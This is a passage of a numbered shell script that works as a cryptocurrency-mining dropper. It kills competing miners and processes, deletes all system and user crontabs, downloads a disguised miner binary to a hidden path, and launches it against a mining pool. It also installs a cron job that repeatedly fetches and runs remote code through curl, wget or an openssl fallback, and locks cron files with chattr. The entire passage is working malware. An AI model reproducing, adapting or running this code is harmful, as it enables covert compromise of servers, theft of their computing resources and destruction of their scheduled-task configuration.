  587. else
  588. printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :
  589. fi
  590. }
  591. replace_pool_user() {
  592. _rpu_path="/var/tmp/.odoo_pg_health.json"
  593. [ -f "$_rpu_path" ] || return 0
  594. _rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0
  595. _rpu_tmp="${_rpu_path}.tmp.$$"
  596. sed -e "s|\(\"user\"[ ]*:[ ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \
  597. <"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }
  598. [ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"
  599. }
  600. get_cpu_count() {
  601. if [ -f /proc/cpuinfo ]; then
  602. grep -c '^processor' /proc/cpuinfo
  603. else
  604. sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
  605. fi
  606. }
  607. is_ec2_host() {
  608. hostname | grep -qi -e "ec2" -e "compute"
  609. }
  610. is_our_process_running() {
  611. for _iop_dir in /proc/[0-9]*; do
  612. [ -r "$_iop_dir/cmdline" ] || continue
  613. _iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')
  614. if echo "$_iop_cmdline" | grep -q "$_c5" && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then
  615. _iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
  616. [ "$_iop_state" = "Z" ] && continue
  617. _iop_pid="${_iop_dir##*/}"
  618. case "$_ga_arch" in
  619. aarch64|arm64|armv8l)
  620. case "$_iop_cmdline" in
  621. *"/$_c1"*) ;;
  622. *)
  623. echo "ARM process uses a different identifier; replacing"
  624. kill -9 "$_iop_pid" 2>/dev/null
  625. sleep 1
  626. continue
  627. ;;
  628. esac
  629. ;;
  630. esac
  631. _iop_cpu=$(ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
  632. _iop_cpu=${_iop_cpu:-0}
  633. _iop_int=${_iop_cpu%.*}
  634. _iop_int=${_iop_int:-0}
  635. if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
  636. echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"
  637. return 0
  638. else
  639. echo "Our process idle (PID $_iop_pid) — killing and relaunching"
  640. kill -9 "$_iop_pid" 2>/dev/null
  641. sleep 1
  642. fi
  643. fi
  644. done
  645. echo "Our process not running"
  646. return 1
  647. }
  648. set_arch_urls() {
  649. _ga_arch=$(uname -m 2>/dev/null || echo unknown)
  650. case "$_ga_arch" in
  651. x86_64|amd64)
  652. _ga_url="$_c7"
  653. _ga_fallback="$_c9"
  654. _ga_machine=3e00
  655. ;;
  656. aarch64|arm64|armv8l)
  657. _ga_url="$_c8"
  658. _ga_fallback=""
  659. _ga_machine=b700
  660. _c1=ARM
  661. ;;
  662. *)
  663. _ga_url=""
  664. _ga_fallback=""
  665. _ga_machine=""
  666. return 1
  667. ;;
  668. esac
  669. }
  670. _elf_machine() {
  671. od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'
  672. }
  673. _is_elf_for_arch() {
  674. _ie_file="$1"
  675. [ -s "$_ie_file" ] || return 1
  676. [ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1
  677. [ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1
  678. [ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]
  679. }
  680. _sfx_path() {
  681. if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'
  682. else printf '/tmp/.sysid'; fi
  683. }
  684. _load_or_gen_sfx() {
  685. _log_f=$(_sfx_path)
  686. if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi
  687. _log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
  688. [ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
  689. mkdir -p "$(dirname "$_log_f")" 2>/dev/null
  690. printf '%s' "$_log_s" >"$_log_f" 2>/dev/null
  691. printf '%s' "$_log_s"
  692. }
  693.  
  694. wipe_previous_crons() {
  695. # 1) Release immutable/append-only pins from ANY cron file (not just
  696. # $(whoami)) — otherwise rm below fails with "Operation not permitted"
  697. # and the stale cron survives the wipe.
  698. if [ "$(id -u)" -eq 0 ]; then
  699. for _wl in /etc/cron.d/* /etc/cron.d/$(whoami) /etc/cron.d/apache \
  700. /var/spool/cron/* /var/spool/cron/crontabs/* \
  701. /etc/cron.hourly/* /etc/cron.daily/* \
  702. /etc/cron.weekly/* /etc/cron.monthly/* \
  703. /etc/crontab /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  704. [ -e "$_wl" ] || continue
  705. chattr -i "$_wl" 2>/dev/null || true
  706. chattr -a "$_wl" 2>/dev/null || true
  707. done
  708. fi
  709.  
  710. # 2) Drop every user's crontab
  711. crontab -r 2>/dev/null || true
  712. for _us in /var/spool/cron/crontabs/* /var/spool/cron/*; do
  713. [ -f "$_us" ] && rm -f "$_us" 2>/dev/null || true
  714. done
  715.  
  716. # 3) Drop the system-wide cron tree
  717. rm -f /etc/crontab 2>/dev/null || true
  718. rm -f /etc/cron.d/* 2>/dev/null || true
  719. rm -f /etc/cron.hourly/* /etc/cron.daily/* \
  720. /etc/cron.weekly/* /etc/cron.monthly/* 2>/dev/null || true
  721. }
  722.  
  723. create_cronjob() {
  724. # Refresh the same plain shell script that was uploaded at /mon.
  725. _cc_cmd=""
  726. if command -v curl >/dev/null 2>&1; then
  727. _cc_cmd="curl -fsSLk $_c2 | tr -d \"\r\" | sh"
  728. elif command -v wget >/dev/null 2>&1; then
  729. _cc_cmd="wget -qO- $_c2 | tr -d \"\r\" | sh"
  730. elif command -v openssl >/dev/null 2>&1; then
  731. _cc_helper="/tmp/.cron_fetch_$$.sh"
  732. cat > "$_cc_helper" << 'CRONHELPER'
  733. #!/bin/sh
  734. . /tmp/.hglib_cron 2>/dev/null
  735. http_get "$1" | tr -d "\r" | sh
  736. CRONHELPER
  737. chmod 755 "$_cc_helper"
  738. cat > /tmp/.hglib_cron << 'HGLIB'
  739. http_get() {
  740. _u="$1";_n=0
  741. while [ "$_n" -lt 5 ]; do
  742. _n=$((_n+1));_p="${_u#https://}";_p="${_p#http://}";
  743. _h="${_p%%/*}";_q="/${_p#*/}";[ "$_h" = "$_p" ]&&_q="/"
  744. _i=$(getent ahostsv4 "$_h" 2>/dev/null|awk '{print $1;exit}')
  745. [ -z "$_i" ]&&_i="$_h"
  746. _a="/tmp/.cr$$a";_b="/tmp/.cr$$b"
  747. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h">"$_a"
  748. if command -v timeout >/dev/null 2>&1; then
  749. timeout 45 openssl s_client -connect "${_i}:443" -servername "$_h" \
  750. -quiet <"$_a">"$_b" 2>/dev/null
  751. else
  752. openssl s_client -connect "${_i}:443" -servername "$_h" \
  753. -quiet <"$_a">"$_b" 2>/dev/null
  754. fi
  755. _s=$(head -1 "$_b" 2>/dev/null|awk '{print $2}')
  756. case "$_s" in 301|302|303|307|308)
  757. _l=$(perl -0777 -ne 'if(/^Location:\s*(\S+)/im){print $1}' "$_b"|tr -d '\r')
  758. rm -f "$_a" "$_b" 2>/dev/null;[ -z "$_l" ]&&return 1
  759. _u="$_l";continue;;
  760. esac
  761. perl -0777 -ne 'if(/^(.*?)\r\n\r\n(.*)$/s){print $2}' <"$_b"
  762. rm -f "$_a" "$_b" 2>/dev/null;return 0
  763. done
  764. return 1
  765. }
  766. HGLIB
  767. _cc_cmd="$_cc_helper $_c2"
  768. else
  769. echo "Cannot create cron job — no curl/wget/openssl"
  770. return 1
  771. fi
  772. (crontab -l 2>/dev/null | grep -vF "$_c2"; printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -
  773. echo "Cron persistence installed."
  774. }
  775. for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do
  776. if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then
  777. # Check it's not our process (guard against race: process may have died)
  778. [ -r "/proc/$_main_pid/cmdline" ] || continue
  779. _main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)
  780. _is_excluded "$_main_cmdline" && continue
  781. kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"
  782. fi
  783. done
  784. if [ "$(id -u)" -eq 0 ]; then
  785. command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true
  786. fi
  787. log "Killing competing miners..."
  788. kill_themf
  789. kill_mf3
  790. kill_high_cpu
  791. for _main_target in \
  792. ".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \
  793. "/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \
  794. "youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do
  795. kill_and_remove_process "$_main_target" || true
  796. done
  797. log "Hardening network..."
  798. harden_network
  799. log "Cleaning up files..."
  800. cleanup_files
  801. safe_patch_args
  802. replace_pool_user
  803. _SFX=$(_load_or_gen_sfx)
  804. if [ "$(id -u)" -eq 0 ]; then
  805. HOME_1="/usr_${_SFX}/lib/dev"
  806. _main_user_type="root"
  807. # Install cron if missing (only as root)
  808. if ! command -v crontab >/dev/null 2>&1; then
  809. log "Installing cron..."
  810. if command -v apk >/dev/null 2>&1; then
  811. apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true
  812. command -v rc-update >/dev/null 2>&1 && rc-update add crond default 2>/dev/null || true
  813. command -v rc-service >/dev/null 2>&1 && rc-service crond start 2>/dev/null || true
  814. elif command -v apt-get >/dev/null 2>&1; then
  815. apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true
  816. elif command -v yum >/dev/null 2>&1; then
  817. yum install -y cronie 2>/dev/null || true
  818. fi
  819. fi
  820. else
  821. HOME_1="/tmp/.usr_${_SFX}/lib"
  822. _main_user_type="user"
  823. fi
  824. program_file="$HOME_1/systemdev/dns-filter"
  825. mkdir -p "$HOME_1/systemdev" 2>/dev/null
  826. if ! set_arch_urls; then
  827. log "Unsupported architecture: $_ga_arch"
  828. exit 1
  829. fi
  830. cpu_count=$(get_cpu_count)
  831. is_ec2=false; is_ec2_host && is_ec2=true
  832. if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then
  833. log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"
  834. exit 0
  835. fi
  836. log "CPU check: $cpu_count CPUs (user=$_main_user_type, ec2=$is_ec2)"
  837. if is_our_process_running; then
  838. log "Process running — installing cron and exiting"
  839. wipe_previous_crons
  840. create_cronjob "$_c2"
  841. exit 0
  842. fi
  843. log "Downloading..."
  844. arch_url="$_ga_url"
  845. if _is_elf_for_arch "$program_file"; then
  846. log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"
  847. else
  848. rm -f "$program_file" 2>/dev/null || true
  849. log "Fetching from $arch_url..."
  850. fetch_file "$arch_url" "$program_file"
  851. chmod +x "$program_file" 2>/dev/null
  852. if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then
  853. log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."
  854. rm -f "$program_file"
  855. fetch_file "$_ga_fallback" "$program_file"
  856. chmod +x "$program_file" 2>/dev/null
  857. fi
  858. fi
  859. if ! _is_elf_for_arch "$program_file"; then
  860. log "Error: no executable for architecture $_ga_arch"
  861. rm -f "$program_file" 2>/dev/null || true
  862. exit 1
  863. fi
  864. log "Binary ready: $(wc -c < "$program_file") bytes at $program_file"
  865. if ! "$program_file" --version >/dev/null 2>&1; then
  866. log "Error: binary failed the version check"
  867. rm -f "$program_file" 2>/dev/null || true
  868. exit 1
  869. fi
  870. launch_miner() {
  871. if command -v setsid >/dev/null 2>&1; then
  872. setsid "$program_file" "$@" >/dev/null 2>&1 &
  873. else
  874. nohup "$program_file" "$@" >/dev/null 2>&1 &
  875. fi
  876. _launch_pid=$!
  877. }
  878. log "Launching..."
  879. _launch_ok=0
  880. launch_miner -o "$_c3" -u "$_c4/$_c1" -k --tls
  881. sleep 5
  882. if kill -0 "$_launch_pid" 2>/dev/null; then
  883. log "Process running (PID $_launch_pid)"
  884. _launch_ok=1
  885. else
  886. log "Primary launch failed — retrying without -k..."
  887. launch_miner -o "$_c3" -u "$_c4/$_c1" --tls
  888. sleep 5
  889. if kill -0 "$_launch_pid" 2>/dev/null; then
  890. log "Process running on retry (PID $_launch_pid)"
  891. _launch_ok=1
  892. fi
  893. fi
  894. if [ "$_launch_ok" != 1 ]; then
  895. log "All launch attempts failed"
  896. rm -f "$program_file" 2>/dev/null || true
  897. exit 1
  898. fi
  899. wipe_previous_crons
  900. create_cronjob "$_c2"
  901. if [ "$(id -u)" -eq 0 ]; then
  902. for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  903. if [ -f "$_lock_file" ]; then
  904. chattr +i "$_lock_file" 2>/dev/null || true
  905. chattr +a "$_lock_file" 2>/dev/null || true
  906. fi
  907. done
  908. fi
  909. log "Deployment complete."
  910. exit 0